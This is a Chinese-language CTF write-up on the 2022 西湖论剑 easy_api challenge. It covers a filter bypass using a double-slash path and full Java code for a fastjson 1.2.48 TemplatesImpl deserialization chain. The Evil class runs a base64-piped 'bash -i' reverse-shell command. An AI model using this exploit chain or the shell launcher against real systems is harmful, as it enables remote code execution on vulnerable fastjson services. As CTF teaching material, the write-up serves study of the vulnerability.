> 技术文档 > 从java小白的视角看[西湖论剑 2022]easy_api的解题思路(fastjson1.2.48链)

从java小白的视角看[西湖论剑 2022]easy_api的解题思路(fastjson1.2.48链)


从java小白的视角看[西湖论剑 2022]easy_api的解题思路(fastjson1.2.48链)

信息收集

具体探查漏洞的方法这个师傅的帖子已经讲的很明白了,https://www.cnblogs.com/EddieMurphy-blogs/p/18175079,这里我主要以面向小白的视角看这道题的解题思路

一、绕过filter

这里ApiController.java把反序列化入口写的很明白了

rollerpublic class ApiController { @RequestMapping( value = {\"/api/test\"}, method = {RequestMethod.GET} ) public String test(Data data, ModelMap map) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data.getData()); //传入的应该是base64 ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); CustomObjectInputStream ois = new CustomObjectInputStream(bais); ois.readObject(); //触发反序列化漏洞 ois.close(); return \"api\"; }}

所以我们请求的内容应该是/api/test?data=xxx

但是实际这样请求的时候会出现forbidden,我们在LoginFilter里发现原因

public class loginFilter implements Filter { public void init(FilterConfig arg0) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException { HttpServletResponse response = (HttpServletResponse)servletResponse; response.setStatus(403); response.getWriter().write(\"forbidden\"); } public void destroy() { }}

web.xml

loginfilter/api/*

这段代码和配置组合起来表示一个 强制拦截所有 /api/* 请求 的过滤器,直接返回 HTTP 403(禁止访问) 并输出 “forbidden”。因此我们可以用//api/test绕过从而匹配不到/api

二、反序列化

接下来由于看起来项目本身不存在反序列化漏洞,我们就要从lib里面挑依赖项的已知反序列化链来用了,我上方推荐的帖子是用改过的fastjson1.2.48链来做的,我们剖析一下改动的逻辑是什么

先看看网上找到的fastjson1.2.48反序列化漏洞原理的讲解:https://blog.csdn.net/uuzeray/article/details/136927719,他给的链条是BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter,但这个web项目没有BadAttributeValueExpException对应的依赖,所以得用xstring的tostring方法代替(虽然我也不知道哪里导入了xstring类,可能是内置类,欢迎懂的师傅解答一下),templates.getproperties的功能是加载一个恶意类的字节码,所以我们需要新建一个maven项目,一个文件是POC,另一个文件时恶意类Evil

下面来分析一下师傅写的代码

Evil.java不多做分析,大概就是统一那么写的

package com.eddiemurphy;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet { public Evil() { super(); try { Runtime.getRuntime().exec(\"bash -c {echo,}|{base64,-d}|{bash,-i}\"); }catch (Exception e){ e.printStackTrace(); } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }}

POC.java:

链条:

ois.readObject()(前端入口)->hashmap->readObject->hashmap.put->xstring.tostring->JSON.tostring->templates.getproperties->恶意evil类

代码:

package com.eddiemurphy;import com.alibaba.fastjson.JSONObject;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.ClassPool;import org.springframework.aop.target.HotSwappableTargetSource;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.net.URLEncoder;import java.util.Base64;import java.util.HashMap;public class Exp { //递归查找类及其父类的字段(包括私有字段),并设置为可访问。 public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } //类不能直接修改属性,因此通过反射修改对象的字段值 public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static void main(String[] args) throws Exception{ //恶意 TemplatesImpl 对象,被templates.getproperties引用 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, \"_bytecodes\", new byte[][]{ ClassPool.getDefault().get(Evil.class.getName()).toBytecode() }); setFieldValue(templates, \"_name\", \"Evil\"); setFieldValue(templates, \"_class\", null); //包装 TemplatesImpl 到 JSONObject,templates.getOutputProperties()可以调用的类型 JSONObject jsonObject = new JSONObject(); jsonObject.put(\"jb\", templates); //恶意的 HashMap,也是我们payload实际反序列化的类的入口,反序列化的时候会触发其中的readobject类,注入我构造的节点,触发tostring方法 HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, \"size\", 2); Class<?> nodeC; try { nodeC = Class.forName(\"java.util.HashMap$Node\"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName(\"java.util.HashMap$Entry\"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject); HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString(\"xxx\")); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, \"table\", tbl); //反序列化生成payload的通用方式 try{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream); outputStream.writeObject(s); //s是hashmap类,上方构造的 System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),\"UTF-8\")); outputStream.close(); }catch(Exception e){ e.printStackTrace(); } }}

之后就是传统的反弹shell了,我复现是没问题的,如果有遇到什么问题的师傅我可以帮忙看看。